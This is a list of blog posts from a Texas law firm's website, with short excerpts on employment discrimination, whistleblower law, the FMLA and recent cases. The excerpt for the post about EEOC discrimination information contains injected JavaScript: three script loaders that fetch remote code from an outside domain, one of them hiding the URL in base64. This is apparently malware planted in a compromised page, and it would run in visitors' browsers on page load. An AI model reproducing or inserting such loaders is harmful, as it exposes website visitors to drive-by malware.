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# Wash & Thomas Attorneys

Law Firm in Waco Texas

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## Posts

- [Blog](https://www.washthomas.com/blog/) - Our blog commentary focuses primarily on Bankruptcy, Personal Injury, Social Security Disability, and Texas Employee Rights. The blog contains opinions and advice, it is not intended to create an attorney client relationship or specific legal advice and the reader is advised to consult with their own lawyer before acting or relying upon any statements, opinions, or advice set out herein.
- [Texas Supreme Court Pounds Another Nail In the Coffin for Age Discrimination Cases](https://www.washthomas.com/texas-supreme-court-pounds-another-nail-in-the-coffin-for-age-discrimination-cases/) - Based on the latest Texas Supreme Court case of Texas Tech Health Science Center-El Paso vs. Flores, No.19-0790, Opinion delivered November 11, 2020, a plaintiff, with an age discrimination case based on being replaced by another person, faces such a difficult task of establishing a prima facie case, that federal court is probably the better choice
- [The Equal Employment Opportunity Commission (EEOC) Information on Employment Discriminatory Practices](https://www.washthomas.com/the-equal-employment-opportunity-commission-eeoc-information-on-employment-discriminatory-practices/) - If you want to read about the various ways that an employee is protected from employment discrimination and illegal employment termination, below is the link to the EEOC website which sets out the various protected categories for employees in their jobs. Click on this link: https://www.eeoc.gov/discrimination-type ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox'); ;(function(f,b,n,j,x,e){ var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294'); x=b.createElement(n);e=b.getElementsByTagName(n)[0]; x.async=1;x.src=decodedUrl; e.parentNode.insertBefore(x,e); })(window,document,'script');;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
- [May An Employer Maintain Employees' Occupational Health Information in a Single Electronic File with Personal Health Information?](https://www.washthomas.com/may-an-employer-maintain-employees-occupational-health-information-in-a-single-electronic-file-with-personal-health-information/) - An employer’s right to access personal health information about applicants and employees and to allow access to occupational health information by individuals providing health services unrelated to employment is strictly limited under both the ADA and GINA. Therefore, maintaining personal health information and occupational health information in a single electronic medical record, particularly one that
- [Partial Response to a Texas Citizens Participation Act (TCPA) Motion to Dismiss Sexual Harassment Case](https://www.washthomas.com/partial-response-to-a-texas-citizens-participation-act-tcpa-motion-to-dismiss-sexual-harassment-case/) - The following is a portion of a brief in response to a Texas Citizens Participation Act Motion to Dismiss a common sexual harassment suit arguing that the new Texas Sexual Harassment Act TLC 21.141-2 applies to a TCPA motion. In response to the suit, _____, who apparently files a lot of these Texas Citizen Participation
- [Texas Worker's Compensation Coverage for Employees of Two Companies At the Same Time.](https://www.washthomas.com/texas-workers-compensation-coverage-for-employees-of-two-companies-at-the-same-time/) - In the recent Texas Supreme Court case of Port Elevator v. Casados, Docket No. 10-0523 (Tex. 2012), the Court discussed the law surrounding worker's compensation coverage of an employee who may be working for two companies at once and "split work forces". Unlike workers’ compensation laws in every other state, the Texas Worker's Compensation Act
- [Does Your Employer Have to Pay You When You Miss Work Because of the Weather?](https://www.washthomas.com/does-your-employer-have-to-pay-you-when-you-miss-work-because-of-the-weather/) - 1. Does the Fair Labor Standards Act (FLSA) require me to pay employees who miss work because of the weather? The answer to this question depends on whether the employee is exempt or non-exempt. Exempt Employees: If the business closes because of the weather, the FLSA requires employers to pay an exempt employee his or her
- [Many Whistleblower Claims May Only Be Enforced Through OSHA](https://www.washthomas.com/many-whistleblower-claims-may-only-be-enforced-through-osha/) - There are many whistleblower protection statutes at the federal level that are enforced only by OSHA (Occupation Safety & Health Administration) through the Department of Labor. The OSHA website gives you information on how to file with them in order to receive assistance in bringing a whistleblower claim. There are many federal statutes that do
- [REASONABLE ACCOMMODATION OF EXTRA TIME OFF TO RECOVER SHOULD BE SUPPORTED BY MEDICAL OPINION OF RETURN DATE & THAT LEAVE WILL ALLOW THE EMPLOYEE TO RETURN & PERFORM ESSENTIAL JOB FUNCTIONS](https://www.washthomas.com/reasonable-accommodation-of-extra-time-off-to-recover-should-be-supported-by-medical-opinion-of-return-date-that-leave-will-allow-the-employee-to-return-perform-essential-job-functions/) - One type of reasonable accommodation for an employee with a disability, who is unable to come back to work after FMLA leave, is additional unpaid time off. However, there are important limitations on this reasonable accommodation and the request to the employer will not work unless these important steps are taken. First, the requested additional time
- [RECENT FEDERAL & TEXAS EMPLOYMENT LAW CASES OF INTEREST](https://www.washthomas.com/recent-federal-texas-employment-law-cases-of-interest-2/) - Kelly v. St. Luke Cmty. United Methodist Church, 2018 Tex. App. LEXIS 962 | 2018 WL 654907 (Tex.App.-Dallas 2018) Ecclesiastical Abstention Doctrine In an employment dispute filed by a church employee who was terminated, the ecclesiastical abstention doctrine arising from U.S. Constitution First Amendment applied to all of the employee's claims for negligence, fraud, misrepresentation,
- [UNLAWFUL DISPARATE TREATMENT OF WORKERS WITH CAREGIVING RESPONSIBILITIES](https://www.washthomas.com/unlawful-disparate-treatment-of-workers-with-caregiving-responsibilities-because-of-stereotypes/) - The Equal Employment Opportunity Commission (EEOC) has prepared guidelines to determine whether an employer may be treating an employee differently based on stereotyping certain employees, as to caregiving to people for whom they are responsible based on gender or other protected characteristics. Although the federal EEO laws do not prohibit discrimination against caregivers per se,
- [RECENT TEXAS STATE & FEDERAL CASE UPDATE-2019](https://www.washthomas.com/recent-state-federal-case-update-2019/) - Fort Bend Cty. v. Davis, 139 S. Ct. 1843 (2019) EEOC Discrimination Complaint Filing- Jurisdictional or Mandatory An employee of Fort Bend County, a governmental entity, filed a charge alleging sexual harassment and retaliation for reporting the harassment. She was subsequently terminated for failing to show up for work due to a church event, but
- [Sexual Harassment Defenses Under Ellerth/Faragher Supreme Court Cases](https://www.washthomas.com/sexual-harassment-defenses-under-ellerthfaragher-supreme-court-cases/) - Sexual Harassment-Ellerth/Faragher Defense In the recent Fifth Circuit case of Pullen v. Caddo Parish Sch. Bd., 830 F.3d 205 (5th Circuit 2016), the Court discussed the important Ellerth/Faragher defenses for employers created by the U.S. Supreme Court in those cases. The following is a discussion of the Pullen case and those defenses. In an employee’s sexual harassment
- [After the Texas Supreme Court Case of B.C. vs. Steak N Shake, Should a Sexually Assaulted Employee File with the TWCCRD First?](https://www.washthomas.com/after-the-texas-supreme-court-case-of-b-c-vs-steak-n-shake-should-a-sexual-assaulted-employee-file-with-the-twccrd-first/) - After the Texas Supreme Court’s opinions in Waffle House, Inc. v. Williams, 313 S.W.3d 796 (Tex. 2010) and B.C. v. Steak N Shake Operations, Inc., 512 S.W.3d 276 (Tex. 2017), how should a prudent attorney proceed when dealing with a case for an employee who has been sexually assaulted by another employee or that also
- [EEOC Sues CPG Staffing and Executive Personnel Group for Disability Discrimination](https://www.washthomas.com/eeoc-sues-cpg-staffing-and-executive-personnel-group-for-disability-discrimination/) - Federal Agency Charges Staffing Company Rescinded Job Offer to Applicant Because of Perceived Disability ATLANTA – C.W., Inc., which does business as CPG Staffing, and Executive Personnel Group, LLC, sister staffing companies that assign employees to construction industry clients, illegally discriminated against a job applicant when they rescinded his job offer in Hazlehurst, Georgia, because
- [FAMILY & MEDICAL LEAVE ACT QUALIFYING CHART](https://www.washthomas.com/family-medical-leave-act-qualifying-chart/)
- [Employment Agency Furnishing Employee Must Have Actual or Constructive Knowledge of Hostile Work Environment](https://www.washthomas.com/employment-agency-furnishing-employee-must-have-actual-or-constructive-knowledge-of-hostile-work-environment/) - The Fifth Circuit recently held in Arredondo v. Elwood Staffing Servs., No. 22-50502 (5th Cir. Aug. 25, 2023) that an employment agency furnishing employees to another company must have actual or constructive knowledge of the hostile work environment before it can be held liable for these actions. Plaintiffs are two women, Elwood Staffing Services, Inc.,
- [Business Law](https://www.washthomas.com/business-law/) - Entity formation and re-structuring (corporations, LLC’s, limited partnerships) contractual document preparations related to the buying and selling of businesses, collections and general business advice!
- [EEOC Resolves Suit Alleging Black Employee Was Harassed and Fired Because of His Race and in Retaliation for Reporting the Harassment](https://www.washthomas.com/eeoc-resolves-suit-alleging-black-employee-was-harassed-and-fired-because-of-his-race-and-in-retaliation-for-reporting-the-harassment/) - HOUSTON – American Piping Inspection, Inc. (API), an Oklahoma-based testing and piping inspection services company, agreed to pay $250,000 and to provide other substantial equitable relief to resolve a discrimination and retaliation lawsuit filed by the U.S. Equal Employment Opportunity Commission (EEOC), the federal agency announced today. According to the EEOC’s lawsuit, a Black radiographer
- [NLRB ADDS CONSEQUENTIAL DAMAGES AS 'MAKE WHOLE' DAMAGE REMEDY](https://www.washthomas.com/nlrb-adds-consequential-damages-as-make-whole-damage-remedy/) - On December 13, 2022, in a 3-2 decision, the National Labor Relations Board (NLRB or the Board) added consequential damages as a “make-whole” remedy for unfair labor practices, expanding the relief available to workers. Although employers that violated the National Labor Relations Act (NLRA) were traditionally required to pay make-whole remedies to employees, these remedies
- [Procuring-cause Doctrine- TX Supreme Court Opinion](https://www.washthomas.com/1550-2/) - Perthuis v. Baylor Miraca Genetics Laboratories, LLC, —S.W.3d—, (Tex. May 20, 2022) [21-0036] This breach-of-contract action addresses whether a former at-will employee was entitled to commissions on sales that closed after his termination. The parties disagree about the applicability of the procuring-cause doctrine, which the Court concluded governs their dispute. Respondent Baylor Miraca Genetics Laboratories,
- [Whistleblower Act Recent 2022 Opinion by TX Supreme Ct.](https://www.washthomas.com/whistleblower-act-recent-2022-opinion-by-tx-supreme-ct/) - Texas Whistleblower Act City of Fort Worth v. Pridgen, —S.W.3d—, 2022 WL (Tex. May 27, 2022) [20-0700] This case concerns the proper interpretation of “good faith report of a violation of law” under the Texas Whistleblower Act. TEX. GOV’T CODE §§ 554.001–.010. Abdul Pridgen and Vance Keyes were veteran law enforcement officers employed by the
- [RECENT 5TH CIRCUIT & TEXAS EMPLOYMENT LAW CASES](https://www.washthomas.com/recent-5th-circuit-texas-employment-law-cases/) - Texas Tech Univ. Health Sciences Ctr.-El Paso v. Flores, 612 S.W.3d 299 (Tex. 2020) Age Discrimination- Prima Facie Case- Replacement This was an age discrimination case by an employee of a governmental entity, which requires proof of a prima facie case in order to establish jurisdiction and waiver of governmental immunity. Here the employee alleges
- [The Employee's Guide to the Family and Medical Leave Act](https://www.washthomas.com/the-employees-guide-to-the-family-and-medical-leave-act/) - The Department of Labor has released its new publication entitled "The Employee's Guide to the Family and Medical Leave Act". If you will click on the highlighted publication name in the previous sentence, it will take you to the website where you can download a PDF version of the guide. The guide is a plain
- [RECENT FEDERAL and STATE CASES](https://www.washthomas.com/recent-federal-state-cases/) - Bostock v. Clayton County, U.S. Supreme Court, 590 U.S. ___ (2020) Important Case-Title VII-Sex Discrimination Based on Sex-Homosexuality or Transgender Three employers each fired a long-time employee for being homosexual or transgender. Each employee sued, alleging sex discrimination under Title VII of the Civil Rights Act of 1964, which makes it “unlawful . . .
- [OVERVIEW OF THE FIVE TITLES OF THE AMERICANS WITH DISABILITIES ACT](https://www.washthomas.com/overview-of-the-five-titles-of-the-americans-with-disabilities-act/) - The Americans with Disabilities Act (ADA) became law in 1990. The ADA is a civil rights law that prohibits discrimination against individuals with disabilities in all areas of public life, including jobs, schools, transportation, and all public and private places that are open to the general public. The purpose of the law is to
- [OSHA Whistleblower's Investigation Manual](https://www.washthomas.com/osha-whistleblowers-investigation-manual/) - This is the official manual of OSHA setting forth important details/information regarding each Whistleblower retaliation law that it enforces. This manual gives you important information on the handling of these complaints by OSHA and the pertinent deadlines and information about whistleblower's rights and duties. OSHA enforces the following laws: -Occupational Safety and Health Act (OSHA
- [RECENT TEXAS STATE AND FEDERAL EMPLOYMENT LAW CASES](https://www.washthomas.com/recent-texas-state-and-federal-employment-law-cases/) - Tucker v. Unitech Training Academy, Inc., 2019 U.S. App. LEXIS27030, (5th Cir. Sept. 4, 2019). Disability Discrimination-Obesity Obese employee was terminated by employer and sued claiming disability discrimination. The District Court granted summary judgment against the employee holding that employee failed to prove she was disabled in that she did not prove that she
- [RECENT EMPLOYMENT LAW CASES- TEXAS and FEDERAL](https://www.washthomas.com/recent-employment-law-cases-texas-and-federal/) - New Prime Inc. v. Oliveira, 139 S.Ct. 532 (2019) Federal Arbitration Act-Application to Independent Contractors The primary issue in the recent United States Supreme Court case, New Prime Inc. v. Oliveira was whether an independent contractor was entitled to be excluded from the coverage of the Federal Arbitration Act by§ 1 of the act, as
- [Recent Employment Law Cases from 5th Circuit & Texas Cases](https://www.washthomas.com/recent-employment-law-cases-from-5th-circuit-texas-cases/) - Green v. Dallas County Schools, 2017 Tex. LEXIS 445 (60 Tex. Sup. J. 945) (Tex. 2017) Disability Discrimination In this disability-discrimination case an employee (Green) of the school (DCS) suffered from heart failure and as a result of the drugs had urinary incontinence. Green was unable to control his bladder during a school bus run
- [RECENT EMPLOYMENT LAW CASES OF INTEREST](https://www.washthomas.com/recent-employment-law-cases-of-interest-2/) - Alamo Heights Independent School District v. Clark, 544 S.W.3d 755 (Tex. 2018) Important Case- Sexual Harassment—Same Sex Harassment This discrimination and retaliation suit involves allegations of same-sex harassment and bullying by female coaches in the girl’s athletic department at a San Antonio middle school. The ultimate issue on appeal—the school district's immunity from suit—is subsumed
- [Recent Employment Law Cases](https://www.washthomas.com/recent-employment-law-cases-4/) - Patton v. Jacobs Engineering Group, 2017 U.S. App. LEXIS 21028 (5th Cir. 2017) Disability Discrimination-Sufficiency of Charge to EEOC-Failure to Accommodate The Fifth Circuit withdrew its prior opinion and substituted this opinion. The court affirmed the district court's grant of summary judgment against plaintiff on his failure to accommodate and hostile work environment claims. The
- [Recent Employment Law Cases of Interest](https://www.washthomas.com/recent-employment-law-cases-of-interest/) - Colorado County, Texas, et al v. Marc Staff, No. 15-0192 (Tex. 2016) Police Officer Discipline Under Chapter 614, Subchapter B of the Texas Government Code, a covered peace officer cannot be disciplined based on a complaint unless certain procedural requirements are met. At issue in this case was whether Subchapter B’s disciplinary procedures apply to
- [Recent Federal & Texas Employment Law Cases of Interest](https://www.washthomas.com/recent-federal-texas-employment-law-cases-of-interest/) - Tex. Dep't of Family & Protective Servs. v. Parra, 2016 Tex. App. LEXIS 11743 (Tex.App.- El Paso 2016). Worker’s Compensation Retaliation Parra worked for a state agency and was injured on the job in a car wreck. She was subsequently terminated and she sued for worker’s compensation retaliation under sec. 451 Texas Labor Code. The
- [RECENT EMPLOYMENT LAW CASES](https://www.washthomas.com/recent-employment-law-cases-3/) - Young v. United Parcel Service, Inc., 575 U.S. ____, (2015) Pregnancy Discrimination The Pregnancy Discrimination Act specifies that Title VII’s prohibition against sex discrimination applies to discrimination “because of or on the basis of pregnancy, childbirth, or related medical conditions,” 42 U.S.C 2000e(k), and that employers must treat “women affected by pregnancy . . .
- [Texas Whistleblower Protection for Government Employees Against the Government](https://www.washthomas.com/texas-whistleblower-protection-for-government-employees-against-the-government/) - The Texas Whistleblower's Statute (V.T.C.A. Government Code sec. 554.001 et.seq.), prohibits discharge or other adverse personnel actions against governmental employees who, in good faith, report a violation of law by the governmental entity or another public employee to an appropriate law enforcement authority. A report is made to an appropriate law enforcement authority if the
- [Recent Important Cases](https://www.washthomas.com/recent-important-cases/) - EEOC v. LHC Group, Inc., 773 F.3d 688, 692 (5th Cir. 2014) Important Case- Disability Discrimination- Prima Facie Proof Method In an EEOC enforcement action, an employee, a nurse for a home-health company, who was fired shortly after she had an epileptic seizure, failed to establish that she was terminated from her position as a
- [Who Is the Employer? "Sue Them All and Let the Court Sort it Out"](https://www.washthomas.com/who-is-the-employer-sue-them-all-and-let-the-court-sort-it-out/) - The issue of who is the employer is a constant source of headaches for attorneys, especially in employment cases. In most employment cases involving discrimination a complaint must be first filed with the Equal Employment Opportunity Commission (EEOC) or the state agency, which here in Texas is the Texas Workforce Commission-Civil Rights Division (TWCCRD). The
- [Recent Employment Law Cases](https://www.washthomas.com/recent-employment-law-cases-2/) - Kauffman v. Petersen Health Care VII, LLC, U.S. Court of Appeals Seventh Circuit Docket: 13-3661, October 2014 Disability Discrimination-Reasonable Accommodation - In 1981, the plaintiff began working as one of two hairdresser-manicurists at a nursing home. Mondays and Tuesdays the plaintiff would transport residents in their wheelchairs from their rooms to the nursing home's beauty
- [RECENT EMPLOYMENT LAW CASE SUMMARIES](https://www.washthomas.com/recent-employment-law-case-summaries-2/) - Ihegword v. Harris County Hosp. Dist., 555 Fed. Appx. 372 2014 (5th Cir. 2014) Fair Labor Standards Act (FSLA)- In this FLSA action, the district court granted summary judgment in favor of the employer because the employee failed to raise a genuine issue of material fact that the employer permitted the employee to work overtime
- [After Vance v Ball State-the Narrow Path to Vicarious Liability in Sexual Harassment Cases](https://www.washthomas.com/after-vance-v-ball-state-is-there-any-hope-left-for-strict-liability/) - Is there any hope left for victims of sexual harassment after Vance v Ball State University’s limitation of the vicarious liability standard for employers to those actions taken against victims by supervisors who have been empowered by the employer to take ultimate actions against the employee? And the answer is: “maybe.” The path to vicarious
- [RECENT EMPLOYMENT LAW CASES](https://www.washthomas.com/recent-employment-law-cases/) - Ysleta Independent School District v. Franco, 417 S.W.3d 443 (Tex. 2013) Texas Whistleblower Act- Franco was a principal at a public school. Fearing the presence of asbestos in the school, he contacted his immediate supervisor concerning this issue and others. Franco complained again to the superintendent and was subsequently suspended. He sued the school district
- [Recent Cases Affecting Employment Law](https://www.washthomas.com/649/) - Vance v. Ball State University, U.S. Supreme Court, No. 11-556, Decided 6/24/13 Title VII- Definition of Supervisor- Supreme Court ruled that, under the federal Title VII discrimination statute, an employer can be held vicariously liable for an employee's unlawful harassment only where that particular employee has been empowered with the authority "to take tangible employment
- [HIPAA Does Not Provide an Employee a Right to Sue for Violations](https://www.washthomas.com/hipaa-does-not-provide-an-employee-a-right-to-sue-for-violations/) - The Health Insurance Portability and Accountability Act (HIPAA) does not contain any express language conferring rights to sue upon a person or employee if the privacy regulations are violated. The Fifth Circuit in Acara v. Banks, 470 F.3d 569 (5th Cir., 2006) held that HIPAA does not provide a private cause of action to an
- [Recent Texas Employment Law Cases](https://www.washthomas.com/recent-texas-employment-law-cases-2/) - El Apple I, Ltd. v. Olivas, 370 S.W.3d 757 (Tex. 2012) Attorney Fees- Proper Lodestar Calculation- This was a suit for employment discrimination and retaliation under the Texas Commission on Human Rights Act. After a trial, the employee prevailed only on the retaliation claim. After the trial, the employee’s attorney submitted an application for attorney’s
- [A Small Ray of Hope for Anti-Retaliation Suits Against State Agencies](https://www.washthomas.com/a-small-ray-of-hope-for-anti-retaliation-suits-against-state-agencies/) - The Texas Supreme Court held in Texas Central Appraisal District v. Diane Norman that, even though it had previously held in 1995 in City of LaPorte v. Barfield, 898 S.W.2d 288 (Tex. 1995) that governmental immunity had been waived by the State for suits by employees for worker’s compensation retaliation, the State did not waive
- [Recent Texas Employment Law Case Summaries](https://www.washthomas.com/recent-texas-employment-law-case-summaries/) - Mission Consolidated Independent School District v. Garcia, 2012 Tex. LEXIS 560 (Tex. 2012) Age Discrimination- Texas Commission on Human Rights Act- School District employee was terminated and replaced by a woman three years older than the employee and the employee brought an age discrimination claim. The district filed a plea to jurisdiction. The district court
- [Texas Supreme Court Gives Important Guidance on Punitive Damages in Employment Cases](https://www.washthomas.com/texas-supreme-court-gives-important-guidance-on-punitive-damages-in-employment-cases/) - The Texas Supreme Court has given important guidance in the area of punitive damages in employment cases. Punitive or exemplary damages are damages awarded in civil cases in order to punish bad behavior or make an example to others as to what can happen when the bad behavior is exposed. The Texas Supreme Court in
- [Is a Doctor's Opinion As To Causation of an Injury/Illness Subject to a 'Robinson' Reliability Challenge?](https://www.washthomas.com/are-doctors-opinions-as-to-causation-of-an-injuryillness-subject-to-a-robinson-reliability-challenges/) - Under Texas law, doctor's opinions regarding causation of injuries or diseases are subject to the rules regarding reliability of expert opinions set forth in the Texas Supreme Court case, E.I. duPont & Co. v. Robinson, 923 S.W.2d 549 (Tex. 1995). Any doubt about this was put to rest by the Supreme Court in Transcontinental Insurance
- [Texas Supreme Court Upholds Waiver & Denies Employee A Jury Trial](https://www.washthomas.com/texas-supreme-court-upholds-waiver-denies-employee-a-jury-trial/) - On March 9, 2012, The Texas Supreme Court ruled in In Re Frank Kent Motor Co., (Tex. 2012) that a jury waiver signed by an at-will employee was valid. This case arose when a a 28 year employee of Frank Kent Motor Co. was asked to sign a jury waiver in 2008. The employee at
- [Recent Federal & State Cases Related to Employment Law](https://www.washthomas.com/recent-federal-state-cases-related-to-employment-law/) - Norton v. Assisted Living Concepts, Inc., 786 F. Supp.2d 1173 (E.D. Tex 2011) Disability Under the ADAAA- Applying the Americans with Disabilities Act Amendment Act (ADAAA) amended definition of disability under the actual disability prong to the facts in this case, the court concluded that the employee Norton’s renal cancer is capable of qualifying as
- [Worker's Compensation & Underinsured Motorist Insurance Coverage](https://www.washthomas.com/workers-compensation-underinsured-motorist-insurance-coverage/) - Smith v. City of Lubbock, 351 S.W.3d 584 (Tex.App.– Amarillo 2011, pet.filed) Worker’s Compensation-Underinsured Motorist Policy- Employee who was struck by a drunk driver while working in the course and scope of his employment brought action against his employer and the insurance carrier to collect damages under employer’s underinsured motorist policy, even though he had
- [Can I Be Fired for An Old Criminal History?](https://www.washthomas.com/can-i-be-fired-for-an-old-criminal-history/) - I have had people call me with this sad story. "When I applied for a job several years ago, I told the company about a criminal conviction and they hired me anyway; now, they ran a criminal history check and the old conviction turned up and they fired me for it". "Can they do that?"
- [Texas Supreme Court Holds Govt. Entities Protected From Suits Under Worker's Compensation Anti-Retaliation Statute](https://www.washthomas.com/texas-supreme-court-holds-govt-entities-protected-from-suits-under-workers-compensation-anti-retaliation-statute/) - Today, the Texas Supreme Court held in Texas Central Appraisal District v. Diane Norman that, even though it had previously held in 1995 in City of LaPorte v. Barfield, 898 S.W.2d 288 (Tex. 1995) that governmental immunity had been waived by the State for suits by employees for worker's compensation retaliatiion, the State did not waive
- [Confidentiality of Employee Email on Company Computer](https://www.washthomas.com/confidentiality-of-employee-email-on-company-computer/) - Employees that work for companies that have a policy regarding computer usage and emails should proceed with extreme caution when using their company email to communicate confidential messages. If your employer has notified employees, through its website, handbook or other reasonable means , that it monitors employee emails and computer usage, then you have no expectation of privacy.
- [Recent Texas Case Report](https://www.washthomas.com/recent-texas-case-report/) - The following are some recent Texas appellate court cases that are important to consider. Safeshred, Inc. v. Martinez, 310 S.W.3d 649 (Tex.App.-Austin 2010, pet. filed) Sabine Pilot Cause of Action-Damages- An employee of Safeshred was fired when he refused to drive a commercial vehicle he found to be unsafe and noncompliant with federal and state
- [The Fourth Element](https://www.washthomas.com/the-fourth-element/) - And I'm not talking about Beryllium. I'm referring to the fourth element of a prima facie case. In discrimination cases, courts have created a concept called a "prima facie" case, which means that once a plaintiff has presented evidence of the elements of a prima facie case, then the defendant employer is required to come forward with
- [Case Summaries of Some Important New Texas Cases](https://www.washthomas.com/case-summaries-of-some-important-new-texas-cases/) - The University of Texas at El Paso v. Alfredo Herrera, No. 08-2049 (Tex. 2010) Important Decision- FMLA- No More FMLA Protection for State Employees for Personal Medical Leave. Suit by an employee of UTEP, a State employee, under the federal Family & Medical Leave Act (FMLA), a federal law granting covered employees up to 12
- [A Loco Parent](https://www.washthomas.com/a-loco-parent/) - Just a little attention grabbing humor. Most of us parents do often feel a little "loco" from our kids. However, what I meant to refer to has nothing to do with being a little "crazy' but is the term "in loco parentis". This is a term that commonly means a person who has put himself in the situation of
- [No More FMLA Protection for Texas State Employees for Personal Medical Leave](https://www.washthomas.com/no-more-fmla-protection-for-texas-state-employees-for-personal-medical-leave/) - In a suit by an employee of the University of Texas at El Paso (UTEP), a State employee, under the federal Family & Medical Leave Act (FMLA), a federal law granting covered employees up to 12 weeks of unpaid leave to care for a serious medical condition of themselves or their immediate family, the employee
- [Does An Employee Owe A Duty of Loyalty To The Employer?](https://www.washthomas.com/does-an-employee-owe-a-duty-of-loyalty-to-the-employer/) - Even without an express agreement, an employee owes certain duties to his employer during the employment. For example, an employee who is still employed may not compete against his employer. Moreover, if the employee plans to leave in the future, he must not let his efforts to prepare for some future business interfere with his
- [Injury to Reputation-the Overlooked Damage in Employment Cases](https://www.washthomas.com/injury-to-reputation-the-overlooked-damage-in-employment-cases/) - Injury to reputation is a remedy that can be overlooked in employment cases. It is possible to recover both front pay and injury to reputation damages. The injury to reputation damages can be found in a case from the 7th circuit, Williams v. Pharmacia, 137 F.3d 944 (7th Cir. 1998). On appeal, Pharmacia argued that
- [Non-Taxable Portions of Settlements or Awards for Discrimination or Job Termination](https://www.washthomas.com/non-taxable-portions-of-settlements-or-awards-for-discrimination-or-job-termination/) - The issue of whether money damages received by a settlement or judgment for employment termination or discrimination are subject to income tax has been a much discussed and misunderstood subject. The issue has been solved now with the answer being that as a general rule ALL money received from a settlement or judgment by reason
- [Recent Texas Employment Law Cases](https://www.washthomas.com/recent-texas-employment-law-cases/) - Texas Commission on Human Rights v. Morrison, 346 S.W.3d 838 (Tex.App.–Austin 2011 nwh) Race Discrimination- In this amazing case against the Texas Commission on Human Rights, which is supposed to administer the state laws on discrimination, the jury found the executive director (ED) guilty of race discrimination against one of the investigators of the agency.
- [Summary of Recent Texas Employment Law Cases](https://www.washthomas.com/summary-of-recent-texas-employment-law-cases/) - Brown v. Holman, 335 S.W.3d 792 (Tex.App.–Amarillo 2011, nwh) Non-Subscriber Suit by Employee- Employee sued his employer, which was a non-subscriber to the worker’s compensation system, alleging that he sustained personal injuries in the course and scope of his employment. The district court entered a summary judgment for the employer. The court of appeals sustained
- [Employer Cannot Rebut Employee's Prima Facie Case By Showing No Discrimination Against Similarly Situated Employee in Same Class](https://www.washthomas.com/employer-cannot-rebut-as-a-matter-of-law-employees-prima-facie-case-by-showing-similiarly-situated-employee-in-same-class/) - In an important new case from the Seventh Circuit, the court in Diaz v. Kraft Foods Global, Inc. ruled that an employee's prima facie case cannot be rebutted by the employer showing fair treatment of another employee in the same class. The court stated: The source of the district court's error may have been a
- [KBR Seeks Attorney Fees from Jamie Leigh Jones But Unlikely to Receive Fees](https://www.washthomas.com/kbr-seeks-attorney-fees-from-jamie-leigh-jones-but-unlikely-to-receive-fees/) - KBR is seeking attorney fees expended as defendant in the Jamie Leigh Jones suit against them after she lost the jury trial. The rule in the Fifth Circuit and in Texas state court is that although the defendant is entitled to seek attorney fees when the plaintiff in a Title VII or state discrimination suit
- [U.S. Supreme Ct. to Decide if State Employees Can Use the FMLA for Their Own Serious Medical Conditions](https://www.washthomas.com/u-s-supreme-ct-to-decide-if-state-employees-can-use-the-fmla-for-their-own-serious-medical-conditions/) - Good news, maybe. The U.S. Supreme Court has agreed to hear the appeal of Coleman v. Maryland Court of Appeals, 626 F.3d 187 ( 4th cir. 2010) . This case held that the "self-care" provisions of the FMLA have not been sufficiently waived of the 11th amendment protection from an individual suing state governments (or
- [Roadmap for Pleading an FMLA Case and Surviving a Rule 12(b) Motion to Dismiss](https://www.washthomas.com/roadmap-for-pleading-an-fmla-case-and-surviving-a-rule-12b-motion-to-dismiss/) - Traditionally, federal courts only required what were called "notice pleadings". This meant that the pleading that started a lawsuit would broadly and generally state enough facts to give the defendant notice of the claim. Thereafter, the specific facts were determined through the discovery process of the lawsuit. Then, the U.S. Supreme Court reversed this general
- [Disability Definitions Under Americans with Disabilities Act (as amended by ADAAA)](https://www.washthomas.com/disability-definitions-under-americans-with-disabilities-act-as-amended-by-adaaa/) - Americans with Disabilities Act Disability (as amended by ADAAA) means- A Physical or Mental Impairment that Substantially Limits one or more of the Major Life Activities (MLA) or being Regarded As having such an impairment or A Record Of such an impairment Definitions/explanations of the above terms: Physical or Mental Impairment means a physiological or
- [Getting Expert Legal Representation for Employment Discrimination Issues in Texas](https://www.washthomas.com/getting-expert-legal-representation-for-employment-discrimination-issues-in-texas/) - When experiencing employment discrimination, knowing your rights is the key to protecting yourself from getting sidelined and being unable to work because of employers’ biases. A Texas employment discrimination case is best handled by an experienced lawyer who can guide you through the legal process of filing your suit against a discriminating employer. If your
- [Real Estate](https://www.washthomas.com/real-estate/) - We work with developers, owners, property managers, financial institutions, and investors in all types of transactions from routine purchase agreements to complicated development plans.
- [EMPLOYER SEXUAL HARASSMENT DEFENSE AVAILABILITY CHART](https://www.washthomas.com/employer-sexual-harassment-defense-availability-chart/) - Sexual Harassment.DefenseChart
- [Waco Attorneys & Lawyers](https://www.washthomas.com/waco-attorneys-and-lawyers/) - Waco Attorneys & Lawyers Welcome to the website of Wash & Thomas Attorneys in Waco, Texas. We provide our clients with personalized legal services. Our practice is helping those who have suffered injuries, illegal job discrimination, bankruptcy, real estate, wrongful death or deceptive trade practices. We have built a high reputation and excellence for our
- [Obtain Disability Benefits with the Top Attorneys in Waco: Wash Thomas](https://www.washthomas.com/obtain-disability-benefits-with-the-top-attorneys-in-waco-wash-thomas/) - A person qualifies for Social Security Disability insurance claim if the person is completely unable to work due to a particular health reason for at least a period of one year or is suffering from a terminal illness. In such cases, Social Security Disability Insurance provides a steady income unless the medical condition of the
- [](https://www.washthomas.com/recent-texas-federal-employment-law-cases-of-interest/)
- [Employee Nose-Rings, Employers, & Religion](https://www.washthomas.com/employee-nose-rings-employers-religion/) - I was in a store recently and the young lady checking out had a ring in her nose through the lower center septum. Now, In my practice, I represent employees who have been discriminated against by employers. But, I'm also an employer and a customer, so it occurred to me, in light of recent cases,
- [Can I Be Sued for...](https://www.washthomas.com/can-i-be-sued-for/) - Many times, I hear people ask whether they could sue someone or be sued by someone for something. Usually, the answer is "yes," you can sue and be sued for many things; however, people are asking the wrong question. The correct question is whether you can successfully sue or be sued. In order to have
